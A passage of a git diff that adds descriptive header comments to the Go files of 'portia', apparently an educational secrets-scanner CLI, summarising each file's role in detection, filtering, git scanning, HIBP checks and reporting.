+changes with --staged) for leaked secrets. Accepts --branch, --since, --depth, +and --staged flags, merging them with values from the loaded config. Delegates +to executeScan in scan.go once the Git source is constructed. + +Connects to: + cli/root.go - registered as gitCmd via rootCmd.AddCommand + cli/scan.go - calls executeScan() and applyRuleConfig() + source/git.go - constructs NewGit() source + rules/registry.go - calls NewRegistry() and RegisterBuiltins() + ui/banner.go - calls PrintBanner() at scan start +*/ package cli diff --git a/PROJECTS/intermediate/secrets-scanner/internal/cli/init.go b/PROJECTS/intermediate/secrets-scanner/internal/cli/init.go index ed985854..6e335ab4 100644 --- a/PROJECTS/intermediate/secrets-scanner/internal/cli/init.go +++ b/PROJECTS/intermediate/secrets-scanner/internal/cli/init.go @@ -1,5 +1,20 @@ -// ©AngelaMos | 2026 -// init.go +/* +©AngelaMos | 2026 +init.go + +"init" and "pyproject" subcommands for config file scaffolding + +"portia init" writes a default .portia.toml to the current directory if one +does not already exist. "portia pyproject" writes a pyproject.toml file with +a [tool.portia] section, using the current directory name as the project name. +Both commands abort with a warning if the target file already exists. + +Connects to: + cli/root.go - registered as initCmd and pyprojectCmd via rootCmd.AddCommand + config/config.go - calls DefaultConfigFile, DefaultTemplate(), PyprojectTemplate() + ui/color.go - uses CyanBold, HiGreen for success output + ui/symbol.go - uses Check, Warning constants +*/ package cli diff --git a/PROJECTS/intermediate/secrets-scanner/internal/cli/root.go b/PROJECTS/intermediate/secrets-scanner/internal/cli/root.go index bc46a295..beaf8b8b 100644 --- a/PROJECTS/intermediate/secrets-scanner/internal/cli/root.go +++ b/PROJECTS/intermediate/secrets-scanner/internal/cli/root.go @@ -1,5 +1,26 @@ -// ©AngelaMos | 2026 -// root.go +/* +©AngelaMos | 2026 +root.go + +Root cobra command, global flags, and config initialization + +Defines the portia root command and all persistent flags (--config, --format, +--verbose, --no-color, --exclude, --max-size, --hibp). initConfig() runs +before every command: it loads the TOML config, applies CLI flag overrides, +and sets format defaults. Registers scan, git, init, config, and pyproject +subcommands. Execute() is the entry point called by main. + +Key exports: + Execute - called by main to run the CLI + +Connects to: + cli/scan.go - registers scanCmd, shares cfg and global flags + cli/git.go - registers gitCmd, shares cfg and global flags + cli/init.go - registers initCmd and pyprojectCmd + cli/config.go - registers configCmd + config/config.go - calls Load() to populate cfg + ui/banner.go - calls PrintBannerWithArt and PrintBanner for help display +*/ package cli diff --git a/PROJECTS/intermediate/secrets-scanner/internal/cli/scan.go b/PROJECTS/intermediate/secrets-scanner/internal/cli/scan.go index 1752e6ad..a469f79e 100644 --- a/PROJECTS/intermediate/secrets-scanner/internal/cli/scan.go +++ b/PROJECTS/intermediate/secrets-scanner/internal/cli/scan.go @@ -1,5 +1,27 @@ -// ©AngelaMos | 2026 -// scan.go +/* +©AngelaMos | 2026 +scan.go + +"scan" subcommand and shared scan execution logic + +Implements "portia scan [path]" for directory scanning and provides +executeScan() which both scan and git commands use. Spins up the pipeline, +optionally checks findings against HIBP (generic-password and generic-secret +rules only), picks the reporter, and writes output to stdout. + +Key exports: + executeScan - shared scan driver called by runScan and runGit + checkHIBP - annotates generic-password/secret findings with breach data + applyRuleConfig - applies cfg.Rules.Disable to the rule registry + +Connects to: + cli/root.go - registered as scanCmd, reads global flags + cli/git.go - calls executeScan() and applyRuleConfig() + engine/pipeline.go - creates and runs Pipeline + hibp/client.go - creates Client and calls Check() for HIBP verification + reporter/reporter.go - calls New(format) and Report() + source/directory.go - constructs NewDirectory() source +*/ package cli diff --git a/PROJECTS/intermediate/secrets-scanner/internal/config/config.go b/PROJECTS/intermediate/secrets-scanner/internal/config/config.go index e815f9bd..5615a429 100644 --- a/PROJECTS/intermediate/secrets-scanner/internal/config/config.go +++ b/PROJECTS/intermediate/secrets-scanner/internal/config/config.go @@ -1,5 +1,24 @@ -// ©AngelaMos | 2026 -// config.go +/* +©AngelaMos | 2026 +config.go + +TOML configuration loader with pyproject.toml fallback + +Loads scanner settings from .portia.toml, a .portia/config.toml directory +file, or a global ~/.config/portia/config.toml. If none exist, falls back to +a [tool.portia] section in pyproject.toml. Applies sane defaults for +MaxFileSize and output format when no config is found. + +Key exports: + Config - top-level struct with rules, scan, output, hibp, and allowlist sections + Load - loads config from an explicit path or auto-discovers it + DefaultTemplate - returns a starter .portia.toml file + PyprojectTemplate - returns a pyproject.toml stub with [tool.portia] section + +Connects to: + cli/root.go - calls Load() during cobra initialization + cli/init.go - calls DefaultTemplate() and PyprojectTemplate() +*/ package config diff --git a/PROJECTS/intermediate/secrets-scanner/internal/config/config_test.go b/PROJECTS/intermediate/secrets-scanner/internal/config/config_test.go index 77246d1d..9bb81289 100644 --- a/PROJECTS/intermediate/secrets-scanner/internal/config/config_test.go +++ b/PROJECTS/intermediate/secrets-scanner/internal/config/config_test.go @@ -1,5 +1,17 @@ -// ©AngelaMos | 2026 -// config_test.go +/* +©AngelaMos | 2026 +config_test.go + +Tests for config/config.go + +Tests: + Load() with explicit path, nonexistent path, and empty path (auto-discover) + Auto-discovery of .portia.toml from the current directory + Pyproject.toml [tool.portia] fallback parsing + Pyproject.toml without [tool.portia] falls back to defaults + DefaultTemplate and PyprojectTemplate produce expected section markers + Invalid TOML returns a parse error +*/ package config diff --git a/PROJECTS/intermediate/secrets-scanner/internal/engine/detector.go b/PROJECTS/intermediate/secrets-scanner/internal/engine/detector.go index dcb7cd6b..79fb5fd0 100644 --- a/PROJECTS/intermediate/secrets-scanner/internal/engine/detector.go +++ b/PROJECTS/intermediate/secrets-scanner/internal/engine/detector.go @@ -1,5 +1,25 @@ -// ©AngelaMos | 2026 -// detector.go +/* +©AngelaMos | 2026 +detector.go + +Per-chunk secret detection combining regex rules and entropy analysis + +Runs each text chunk through two phases: rule-based detection against rules +whose keywords appear in the chunk content, then a fallback entropy scan that +catches high-entropy strings not covered by any specific rule. Both phases +call FilterFinding to drop false positives. Already-caught findings on the +same line are checked to avoid double-reporting. + +Key exports: + Detector - wraps a Registry and applies detection to a single Chunk + NewDetector - constructs a Detector + +Connects to: + engine/filter.go - calls FilterFinding and HasAssignmentOperator + rules/registry.go - calls MatchKeywords; reads charset constants + rules/entropy.go - calls ShannonEntropy, DetectCharset, ExtractHighEntropyTokens + engine/pipeline.go - calls Detector.Detect() per chunk +*/ package engine diff --git a/PROJECTS/intermediate/secrets-scanner/internal/engine/detector_test.go b/PROJECTS/intermediate/secrets-scanner/internal/engine/detector_test.go index 15e88c75..e31f38a9 100644 --- a/PROJECTS/intermediate/secrets-scanner/internal/engine/detector_test.go +++ b/PROJECTS/intermediate/secrets-scanner/internal/engine/detector_test.go @@ -1,5 +1,20 @@ -// ©AngelaMos | 2026 -// detector_test.go +/* +©AngelaMos | 2026 +detector_test.go + +Tests for engine/detector.go + +Tests: + AWS key, Stripe key, and password detection with entropy threshold + Low-entropy secrets filtered by rule entropy gate + Keyword pre-filter prevents unnecessary regex work + Placeholder values suppressed by the filter chain + Multi-finding chunks and line number attribution + Allowed path (go.sum etc.) skips detection entirely + High-entropy fallback detector fires when no rule matches + High-entropy detector does not duplicate rule-matched findings + extractSecret helper for secret group extraction +*/ package engine diff --git a/PROJECTS/intermediate/secrets-scanner/internal/engine/filter.go b/PROJECTS/intermediate/secrets-scanner/internal/engine/filter.go index 8ea92bea..7d48ffa9 100644 --- a/PROJECTS/intermediate/secrets-scanner/internal/engine/filter.go +++ b/PROJECTS/intermediate/secrets-scanner/internal/engine/filter.go @@ -1,5 +1,26 @@ -// ©AngelaMos | 2026 -// filter.go +/* +©AngelaMos | 2026 +filter.go + +False positive filtering for detected secrets + +FilterFinding runs each candidate finding through a chain of checks: known +placeholder patterns, known stopwords, path-based allowlists, rule-level value +allowlists, and environment variable reference patterns. Each check is also +exported individually so tests and custom integrations can call them directly. + +Key exports: + FilterFinding - applies all filters; returns true if the finding is genuine + IsPlaceholder - checks for known fake-secret patterns (template vars, nulls, stars) + IsTemplated - checks for env-var and config-lookup references + IsStopword - checks against the built-in stopword dictionary + IsAllowedPath - checks a path against a set of allowlist regexps + HasAssignmentOperator - checks whether a line contains an assignment context + +Connects to: + engine/detector.go - calls FilterFinding after each regex match + rules/registry.go - reads GlobalPathAllowlist and GlobalValueAllowlist +*/ package engine diff --git a/PROJECTS/intermediate/secrets-scanner/internal/engine/filter_test.go b/PROJECTS/intermediate/secrets-scanner/internal/engine/filter_test.go index 774cb2ee..d3e87e3e 100644 --- a/PROJECTS/intermediate/secrets-scanner/internal/engine/filter_test.go +++ b/PROJECTS/intermediate/secrets-scanner/internal/engine/filter_test.go @@ -1,5 +1,17 @@ -// ©AngelaMos | 2026 -// filter_test.go +/* +©AngelaMos | 2026 +filter_test.go + +Tests for engine/filter.go + +Tests: + IsStopword with exact stopwords, substrings, and per-rule extra words + IsPlaceholder with example patterns, template vars, CHANGEME, none, xxxx + IsTemplated with shell/Python/JS/Go/Spring/Helm environment read patterns + HasAssignmentOperator with =, :, :=, => and negative cases (imports, bare names) + IsAllowedPath against GlobalPathAllowlist (go.sum, vendor, dist/*.min.js, etc.) + FilterFinding composing all checks into a single pass/fail decision +*/ package engine diff --git a/PROJECTS/intermediate/secrets-scanner/internal/engine/integration_test.go b/PROJECTS/intermediate/secrets-scanner/internal/engine/integration_test.go index f32aa072..c16ca6ea 100644 --- a/PROJECTS/intermediate/secrets-scanner/internal/engine/integration_test.go +++ b/PROJECTS/intermediate/secrets-scanner/internal/engine/integration_test.go @@ -1,5 +1,18 @@ -// ©AngelaMos | 2026 -// integration_test.go +/* +©AngelaMos | 2026 +integration_test.go + +End-to-end integration tests for the full scan pipeline + +Runs a Pipeline with all builtin rules against the testdata/fixtures directory, +verifying that AWS keys, Stripe keys, SSH private keys, passwords, GitHub +tokens, and PostgreSQL connection strings are all detected at the correct +severity from the correct files. Also verifies that safe.txt and template.env +produce no false positives, that path excludes work, that rule disabling works, +and that context cancellation propagates cleanly. + +Tests: engine, rules, source packages together via engine_test (external package) +*/ package engine_test diff --git a/PROJECTS/intermediate/secrets-scanner/internal/engine/pipeline.go b/PROJECTS/intermediate/secrets-scanner/internal/engine/pipeline.go index 52625bc6..9182ba3d 100644 --- a/PROJECTS/intermediate/secrets-scanner/internal/engine/pipeline.go +++ b/PROJECTS/intermediate/secrets-scanner/internal/engine/pipeline.go @@ -1,5 +1,24 @@ -// ©AngelaMos | 2026 -// pipeline.go +/* +©AngelaMos | 2026 +pipeline.go + +Concurrent scan pipeline coordinating source ingestion and detection workers + +Runs the source in one goroutine and fans chunks out to N worker goroutines +(capped at CPU count, max 16) that each call Detector.Detect. Findings are +collected into a single slice, deduplicated by rule+file+secret+commit key, +and returned as a ScanResult. Uses errgroup for structured concurrency and +propagates context cancellation. + +Key exports: + Pipeline - orchestrates source ingestion and parallel detection + NewPipeline - creates a Pipeline with CPU-scaled worker count + +Connects to: + source/source.go - calls src.Chunks() to begin content ingestion + engine/detector.go - creates and calls a Detector for each chunk + cli/scan.go - calls Pipeline.Run() for both directory and git scans +*/ package engine diff --git a/PROJECTS/intermediate/secrets-scanner/internal/engine/pipeline_test.go b/PROJECTS/intermediate/secrets-scanner/internal/engine/pipeline_test.go index 9ff496ab..9723540b 100644 --- a/PROJECTS/intermediate/secrets-scanner/internal/engine/pipeline_test.go +++ b/PROJECTS/intermediate/secrets-scanner/internal/engine/pipeline_test.go @@ -1,5 +1,16 @@ -// ©AngelaMos | 2026 -// pipeline_test.go +/* +©AngelaMos | 2026 +pipeline_test.go + +Tests for engine/pipeline.go + +Tests: + Directory scan finds AWS key written to a temp file + Clean file produces no findings + Multiple secrets in one file are all detected + Pre-cancelled context returns an error + Deduplication limits repeated identical secrets to one finding per chunk +*/ package engine diff --git a/PROJECTS/intermediate/secrets-scanner/internal/hibp/client.go b/PROJECTS/intermediate/secrets-scanner/internal/hibp/client.go index 201fd050..870ac87e 100644 --- a/PROJECTS/intermediate/secrets-scanner/internal/hibp/client.go +++ b/PROJECTS/intermediate/secrets-scanner/internal/hibp/client.go @@ -1,5 +1,24 @@ -// ©AngelaMos | 2026 -// client.go +/* +©AngelaMos | 2026 +client.go + +Have I Been Pwned API client with caching, circuit breaker, and rate limiting + +Checks whether a secret appears in known data breaches using the HIBP +k-anonymity range API. Only the SHA-1 hash prefix is sent; the suffix is +compared locally. Results are cached in a 10k-entry LRU. A circuit breaker +trips after 5 consecutive failures. A token-bucket rate limiter enforces one +request per 200ms with burst 5. 429 responses trigger up to 3 retries with +exponential backoff. + +Key exports: + Client - HTTP client wiring together cache, circuit breaker, and rate limiter + NewClient - creates a Client with all defaults configured + Result - breach outcome (Breached bool, Count int) + +Connects to: + cli/scan.go - creates a Client and calls Check() on generic password/secret findings +*/ package hibp diff --git a/PROJECTS/intermediate/secrets-scanner/internal/hibp/client_test.go b/PROJECTS/intermediate/secrets-scanner/internal/hibp/client_test.go index 39b4db59..9ed95fd8 100644 --- a/PROJECTS/intermediate/secrets-scanner/internal/hibp/client_test.go +++ b/PROJECTS/intermediate/secrets-scanner/internal/hibp/client_test.go @@ -1,5 +1,19 @@ -// ©AngelaMos | 2026 -// client_test.go +/* +©AngelaMos | 2026 +client_test.go + +Tests for hibp/client.go + +Tests: + sha1Hash produces correct uppercase hex SHA-1 for known input + Check() identifies breached secrets and returns the correct count + Check() correctly marks clean secrets as not breached + LRU cache prevents duplicate HTTP calls for the same secret + Non-200 server responses propagate as errors + 429 responses trigger retries and succeed once the server recovers + All 3 retries exhausted returns a "retries exhausted" error + Cancelled context fails Check() before the HTTP call reaches the server +*/ package hibp diff --git a/PROJECTS/intermediate/secrets-scanner/internal/reporter/json.go b/PROJECTS/intermediate/secrets-scanner/internal/reporter/json.go index e78c6af9..3933ba30 100644 --- a/PROJECTS/intermediate/secrets-scanner/internal/reporter/json.go +++ b/PROJECTS/intermediate/secrets-scanner/internal/reporter/json.go @@ -1,5 +1,16 @@ -// ©AngelaMos | 2026 -// json.go +/* +©AngelaMos | 2026 +json.go + +JSON output reporter + +Serializes scan results to indented JSON with a findings array and a summary +block. Secrets are masked before output. Implements the Reporter interface. + +Connects to: + reporter/reporter.go - returned by New("json") + pkg/types/types.go - reads ScanResult and Finding fields +*/ package reporter diff --git a/PROJECTS/intermediate/secrets-scanner/internal/reporter/reporter.go b/PROJECTS/intermediate/secrets-scanner/internal/reporter/reporter.go index 348c615d..4deb3f0f 100644 --- a/PROJECTS/intermediate/secrets-scanner/internal/reporter/reporter.go +++ b/PROJECTS/intermediate/secrets-scanner/internal/reporter/reporter.go @@ -1,5 +1,24 @@ -// ©AngelaMos | 2026 -// reporter.go +/* +©AngelaMos | 2026 +reporter.go + +Reporter interface and format-dispatching factory + +Defines the Reporter interface used by all output formatters and provides +New() to select the correct implementation based on a format string +("terminal", "json", "sarif"). Defaults to Terminal when the format is empty +or unrecognized. + +Key exports: + Reporter - interface with Report(w io.Writer, result *ScanResult) error + New - factory returning Terminal, JSON, or SARIF reporters + +Connects to: + reporter/terminal.go - returned by New("terminal") or New("") + reporter/json.go - returned by New("json") + reporter/sarif.go - returned by New("sarif") + cli/scan.go - calls New(format) and Report() after each scan +*/ package reporter diff --git a/PROJECTS/intermediate/secrets-scanner/internal/reporter/reporter_test.go b/PROJECTS/intermediate/secrets-scanner/internal/reporter/reporter_test.go index 8c5c3d70..5e61a24d 100644 --- a/PROJECTS/intermediate/secrets-scanner/internal/reporter/reporter_test.go +++ b/PROJECTS/intermediate/secrets-scanner/internal/reporter/reporter_test.go @@ -1,5 +1,21 @@ -// ©AngelaMos | 2026 -// reporter_test.go +/* +©AngelaMos | 2026 +reporter_test.go + +Tests for reporter/reporter.go, terminal.go, json.go, and sarif.go + +Tests: + New() factory returns correct types for terminal, json, sarif, and empty format + Terminal output contains findings count, rule IDs, file paths, HIBP status, entropy + Terminal no-findings path shows "No secrets detected" + JSON output parses to jsonOutput with masked secrets and correct summary counts + JSON no-findings path produces an empty findings array + SARIF output validates version, driver name, rule IDs, locations, and severity level + SARIF no-findings path produces an empty results array + maskSecret truncation for short, medium, and long secrets + truncateSHA produces an 8-character prefix + severityToSARIF maps Critical/High to error, Medium to warning, Low to note +*/ package reporter diff --git a/PROJECTS/intermediate/secrets-scanner/internal/reporter/sarif.go b/PROJECTS/intermediate/secrets-scanner/internal/reporter/sarif.go index 00d69488..83fc1a39 100644 --- a/PROJECTS/intermediate/secrets-scanner/internal/reporter/sarif.go +++ b/PROJECTS/intermediate/secrets-scanner/internal/reporter/sarif.go @@ -1,5 +1,19 @@ -// ©AngelaMos | 2026 -// sarif.go +/* +©AngelaMos | 2026 +sarif.go + +SARIF 2.1.0 output reporter for CI/CD tooling integration + +Serializes findings to Static Analysis Results Interchange Format for +consumption by GitHub Advanced Security, VS Code SARIF viewer, and other +compatible tools. Severity maps to SARIF error/warning/note levels. Entropy +and HIBP breach data attach as result properties. Implements the Reporter +interface. + +Connects to: + reporter/reporter.go - returned by New("sarif") + pkg/types/types.go - reads ScanResult and Finding fields +*/ package reporter diff --git a/PROJECTS/intermediate/secrets-scanner/internal/reporter/terminal.go b/PROJECTS/intermediate/secrets-scanner/internal/reporter/terminal.go index e5ffc9a6..818ad528 100644 --- a/PROJECTS/intermediate/secrets-scanner/internal/reporter/terminal.go +++ b/PROJECTS/intermediate/secrets-scanner/internal/reporter/terminal.go @@ -1,5 +1,21 @@ -// ©AngelaMos | 2026 -// terminal.go +/* +©AngelaMos | 2026 +terminal.go + +Colored terminal output reporter + +Renders findings sorted by severity with color-coded severity labels, file +paths with line numbers, masked secrets, entropy scores, truncated commit +SHAs, and HIBP breach status. Prints a summary footer with file, rule, and +finding counts. Uses errWriter to accumulate errors across multiple Fprintf +calls without interrupting output mid-render. + +Connects to: + reporter/reporter.go - returned by New("terminal") + ui/color.go - uses color functions for styled output + ui/symbol.go - uses Arrow, Diamond, Warning, Check, Shield constants + pkg/types/types.go - reads ScanResult and Finding fields +*/ package reporter diff --git a/PROJECTS/intermediate/secrets-scanner/internal/rules/builtin.go b/PROJECTS/intermediate/secrets-scanner/internal/rules/builtin.go index 2afd2ef6..8ba5643f 100644 --- a/PROJECTS/intermediate/secrets-scanner/internal/rules/builtin.go +++ b/PROJECTS/intermediate/secrets-scanner/internal/rules/builtin.go @@ -1,5 +1,24 @@ -// ©AngelaMos | 2026 -// builtin.go +/* +©AngelaMos | 2026 +builtin.go + +Built-in detection rules for 70+ secret types + +Defines builtinRules, a catalog of compiled Rule structs covering AWS, +GitHub, GitLab, GCP, Azure, Slack, Stripe, Twilio, SendGrid, Shopify, npm, +PyPI, JWT, SSH private keys, database connection strings, and more. Each rule +carries keywords for fast pre-filtering, a regex, an optional entropy minimum, +and a SecretGroup index to extract the actual secret value from a match. + +Key exports: + RegisterBuiltins - loads all built-in rules into a Registry + +Connects to: + rules/registry.go - receives each Rule via Register() + cli/scan.go - calls RegisterBuiltins before running a directory scan + cli/git.go - calls RegisterBuiltins before scanning git history + cli/config.go - calls RegisterBuiltins to list available rules +*/ package rules diff --git a/PROJECTS/intermediate/secrets-scanner/internal/rules/builtin_test.go b/PROJECTS/intermediate/secrets-scanner/internal/rules/builtin_test.go index 3ae7dabc..d73947b3 100644 --- a/PROJECTS/intermediate/secrets-scanner/internal/rules/builtin_test.go +++ b/PROJECTS/intermediate/secrets-scanner/internal/rules/builtin_test.go @@ -1,5 +1,18 @@ -// ©AngelaMos | 2026 -// builtin_test.go +/* +©AngelaMos | 2026 +builtin_test.go + +Tests for rules/builtin.go + +Tests: + RegisterBuiltins loads at least 70 rules + All rules have non-empty ID, description, keywords, and a non-nil pattern with no duplicates + Pattern match correctness for 50+ services (AWS, GitHub, GitLab, GCP, Azure, Stripe, + Twilio, Slack, JWT, SSH/PGP keys, DB connection strings, Shopify, npm, PyPI, Docker, + Vault, DigitalOcean, Grafana, Databricks, HuggingFace, Supabase, and more) + MatchKeywords routes content to the correct rule by keyword + No false positives on benign code patterns (imports, constants, comments, loops) +*/ package rules diff --git a/PROJECTS/intermediate/secrets-scanner/internal/rules/entropy.go b/PROJECTS/intermediate/secrets-scanner/internal/rules/entropy.go index c6e9d34a..18db9c47 100644 --- a/PROJECTS/intermediate/secrets-scanner/internal/rules/entropy.go +++ b/PROJECTS/intermediate/secrets-scanner/internal/rules/entropy.go @@ -1,5 +1,25 @@ -// ©AngelaMos | 2026 -// entropy.go +/* +©AngelaMos | 2026 +entropy.go + +Shannon entropy calculation and high-entropy token extraction + +ShannonEntropy computes the information density of a string within a given +character set (Base64, hex, or alphanumeric). DetectCharset classifies a +string so the right charset can be chosen automatically. +ExtractHighEntropyTokens splits a line into charset-delimited tokens and +returns only those meeting a minimum length and entropy threshold. + +Key exports: + ShannonEntropy - computes entropy for a string filtered to a given charset + DetectCharset - classifies a string as hex, base64, or alphanumeric + ExtractHighEntropyTokens - returns all tokens above a length and entropy threshold + EntropyToken - value + entropy score pair returned by ExtractHighEntropyTokens + +Connects to: + engine/detector.go - calls all three functions during chunk scanning + rules/builtin.go - uses the charset constants in rule entropy thresholds +*/ package rules diff --git a/PROJECTS/intermediate/secrets-scanner/internal/rules/entropy_test.go b/PROJECTS/intermediate/secrets-scanner/internal/rules/entropy_test.go index cae36c1d..9d2492df 100644 --- a/PROJECTS/intermediate/secrets-scanner/internal/rules/entropy_test.go +++ b/PROJECTS/intermediate/secrets-scanner/internal/rules/entropy_test.go @@ -1,5 +1,17 @@ -// ©AngelaMos | 2026 -// entropy_test.go +/* +©AngelaMos | 2026 +entropy_test.go + +Tests for rules/entropy.go + +Tests: + ShannonEntropy edge cases (empty, single repeated char, equally distributed chars) + Entropy bounds for real passwords, AWS keys, hex strings, and random base64 + Charset filtering removes non-charset characters before entropy calculation + Exact entropy values verified with InDelta + DetectCharset classifies hex, base64, and alphanumeric strings + ExtractHighEntropyTokens returns tokens above threshold, ignores short or low-entropy values +*/ package rules diff --git a/PROJECTS/intermediate/secrets-scanner/internal/rules/registry.go b/PROJECTS/intermediate/secrets-scanner/internal/rules/registry.go index db8af4a3..64ee8b85 100644 --- a/PROJECTS/intermediate/secrets-scanner/internal/rules/registry.go +++ b/PROJECTS/intermediate/secrets-scanner/internal/rules/registry.go @@ -1,5 +1,28 @@ -// ©AngelaMos | 2026 -// registry.go +/* +©AngelaMos | 2026 +registry.go + +Rule registry with keyword-based pre-filtering and global allowlists + +Stores detection rules by ID and provides MatchKeywords to narrow candidate +rules before running regex patterns against each line. Also holds +GlobalPathAllowlist and GlobalValueAllowlist: compile-time allowlists that +skip known-safe paths (lock files, vendor dirs, binary extensions) and +known placeholder values (template vars, null strings, repeated characters). + +Key exports: + Registry - rule store with Register, Get, All, Disable, MatchKeywords, Len methods + GlobalPathAllowlist - compiled regexps for auto-excluded directories and file types + GlobalValueAllowlist - compiled regexps for placeholder and template patterns + +Connects to: + rules/builtin.go - calls Register() to load all built-in rules + engine/detector.go - calls MatchKeywords() and reads entropy charset constants + engine/filter.go - reads GlobalPathAllowlist and GlobalValueAllowlist + cli/scan.go - constructs a Registry and calls RegisterBuiltins + cli/git.go - constructs a Registry and calls RegisterBuiltins + cli/config.go - constructs a Registry to list available rules +*/ package rules diff --git a/PROJECTS/intermediate/secrets-scanner/internal/rules/registry_test.go b/PROJECTS/intermediate/secrets-scanner/internal/rules/registry_test.go index 5307cdab..1261b2ab 100644 --- a/PROJECTS/intermediate/secrets-scanner/internal/rules/registry_test.go +++ b/PROJECTS/intermediate/secrets-scanner/internal/rules/registry_test.go @@ -1,5 +1,21 @@ -// ©AngelaMos | 2026 -// registry_test.go +/* +©AngelaMos | 2026 +registry_test.go + +Tests for rules/registry.go + +Tests: + Register and Get round-trip + Get on missing ID returns false + Duplicate registration panics + All() returns rules sorted alphabetically by ID + Disable removes rule from Get and All, and reduces Len + MatchKeywords returns only enabled rules with matching keywords, case-insensitively + MatchKeywords skips disabled rules even when the keyword matches + Replace overwrites an existing rule by ID + GlobalPathAllowlist allowlists go.sum, node_modules, vendor, .git, dist/*.min, binaries + GlobalValueAllowlist allowlists placeholder patterns and blocks real secret values +*/ package rules diff --git a/PROJECTS/intermediate/secrets-scanner/internal/source/directory.go b/PROJECTS/intermediate/secrets-scanner/internal/source/directory.go index 5dde236b..e8b359c2 100644 --- a/PROJECTS/intermediate/secrets-scanner/internal/source/directory.go +++ b/PROJECTS/intermediate/secrets-scanner/internal/source/directory.go @@ -1,5 +1,23 @@ -// ©AngelaMos | 2026 -// directory.go +/* +©AngelaMos | 2026 +directory.go + +Filesystem directory scanner that streams 50-line chunks + +Walks a directory tree, skipping known noise directories (.git, node_modules, +vendor, .venv, etc.) and binary file extensions. Text files are read in 50-line +chunks and sent on an output channel for concurrent processing. Files larger +than MaxSize are skipped entirely. + +Key exports: + Directory - scanner with Path, MaxSize, and Excludes fields + NewDirectory - constructs a Directory with defaults applied + +Connects to: + source/source.go - implements the Source interface + engine/pipeline.go - receives Chunk values from Directory.Chunks() + cli/scan.go - creates a Directory and passes it to the pipeline +*/ package source diff --git a/PROJECTS/intermediate/secrets-scanner/internal/source/git.go b/PROJECTS/intermediate/secrets-scanner/internal/source/git.go index 7a350cdb..3c398284 100644 --- a/PROJECTS/intermediate/secrets-scanner/internal/source/git.go +++ b/PROJECTS/intermediate/secrets-scanner/internal/source/git.go @@ -1,5 +1,23 @@ -// ©AngelaMos | 2026 -// git.go +/* +©AngelaMos | 2026 +git.go + +Git history and staged-index scanner + +Opens a git repository with go-git and streams 50-line chunks from either the +full commit history or the staging area. History mode walks every commit on the +target branch (or HEAD), respecting optional Since date and Depth limits. Staged +mode reads blobs directly from the index, skipping unmodified files. + +Key exports: + Git - scanner with RepoPath, Branch, Since, Depth, StagedOnly fields + NewGit - constructs a Git source with defaults applied + +Connects to: + source/source.go - implements the Source interface + engine/pipeline.go - receives Chunk values with CommitSHA and Author populated + cli/git.go - creates a Git source and passes it to the pipeline +*/ package source diff --git a/PROJECTS/intermediate/secrets-scanner/internal/source/source.go b/PROJECTS/intermediate/secrets-scanner/internal/source/source.go index 6eaa244d..67efce91 100644 --- a/PROJECTS/intermediate/secrets-scanner/internal/source/source.go +++ b/PROJECTS/intermediate/secrets-scanner/internal/source/source.go @@ -1,5 +1,20 @@ -// ©AngelaMos | 2026 -// source.go +/* +©AngelaMos | 2026 +source.go + +Source interface for scanner content providers + +Defines the Source interface: Chunks sends text chunks on a channel for the +pipeline to consume. The two implementations are Directory (filesystem walk) +and Git (commit history or staged index). + +Connects to: + source/directory.go - implements Source + source/git.go - implements Source + engine/pipeline.go - accepts a Source to begin scanning + cli/scan.go - constructs a Directory source + cli/git.go - constructs a Git source +*/ package source diff --git a/PROJECTS/intermediate/secrets-scanner/internal/source/source_test.go b/PROJECTS/intermediate/secrets-scanner/internal/source/source_test.go index 3f74e5a8..47fc1d00 100644 --- a/PROJECTS/intermediate/secrets-scanner/internal/source/source_test.go +++ b/PROJECTS/intermediate/secrets-scanner/internal/source/source_test.go @@ -1,5 +1,25 @@ -// ©AngelaMos | 2026 -// source_test.go +/* +©AngelaMos | 2026 +source_test.go + +Tests for source/directory.go and source/git.go + +Tests: + Directory source emits chunks for text files, skips binary extensions + Directory exclude patterns suppress matching files + Directory skips .git directory automatically + Max file size limit skips oversized files + Files longer than 50 lines split into multiple chunks with correct LineStart + Context cancellation propagates from Chunks() as context.Canceled + Directory String() returns "directory:" + Git source emits chunks with CommitSHA and Author metadata from commit history + Git staged-only mode scans the index rather than commit history + Git depth limit restricts the number of commits scanned + Git exclude patterns skip matching files from history + Git String() returns "git:" + splitIntoChunks produces 50-line windows with correct LineStart offsets + isBinaryExt correctly classifies binary and text extension types +*/ package source diff --git a/PROJECTS/intermediate/secrets-scanner/internal/ui/banner.go b/PROJECTS/intermediate/secrets-scanner/internal/ui/banner.go index 4d6f890e..3643f0f1 100644 --- a/PROJECTS/intermediate/secrets-scanner/internal/ui/banner.go +++ b/PROJECTS/intermediate/secrets-scanner/internal/ui/banner.go @@ -1,5 +1,24 @@ -// ©AngelaMos | 2026 -// banner.go +/* +©AngelaMos | 2026 +banner.go + +ASCII art banner renderer with optional anime art decoration + +Defines the "portia" ASCII wordmark and an optional decorative block-art panel. +PrintBanner renders just the wordmark with a subtitle rule; PrintBannerWithArt +adds the full art block beneath it. Banner and art lines cycle through color +arrays for alternating red/blue styling. + +Key exports: + PrintBanner - wordmark banner for subcommand help pages and scan start + PrintBannerWithArt - full banner with decorative art for root help + +Connects to: + ui/color.go - uses Red, Blue, White, WhiteItalic, HiWhite for styling + ui/symbol.go - uses HRule for the divider line + cli/root.go - calls PrintBannerWithArt for root help, PrintBanner for subcommands + cli/scan.go, cli/git.go - call PrintBanner at scan start +*/ package ui diff --git a/PROJECTS/intermediate/secrets-scanner/internal/ui/color.go b/PROJECTS/intermediate/secrets-scanner/internal/ui/color.go index ed06f586..316cbf0e 100644 --- a/PROJECTS/intermediate/secrets-scanner/internal/ui/color.go +++ b/PROJECTS/intermediate/secrets-scanner/internal/ui/color.go @@ -1,5 +1,20 @@ -// ©AngelaMos | 2026 -// color.go +/* +©AngelaMos | 2026 +color.go + +Terminal color and text style functions wrapping fatih/color + +Provides package-level sprint functions for every color, bold, italic, +underline, and combined style used across the CLI output. All functions +wrap color.New(...).SprintFunc() so they work as drop-in string formatters. +color.NoColor disables everything when --no-color is passed. + +Connects to: + reporter/terminal.go - uses most color functions for finding display + ui/banner.go - uses Red, Blue, White, WhiteItalic for banner rendering + ui/spinner.go - uses CyanBold, HiMagenta for spinner animation + cli/root.go, cli/scan.go, cli/git.go, cli/config.go - use Red, Cyan, etc. +*/ package ui diff --git a/PROJECTS/intermediate/secrets-scanner/internal/ui/spinner.go b/PROJECTS/intermediate/secrets-scanner/internal/ui/spinner.go index 3eda5e42..5aacb74c 100644 --- a/PROJECTS/intermediate/secrets-scanner/internal/ui/spinner.go +++ 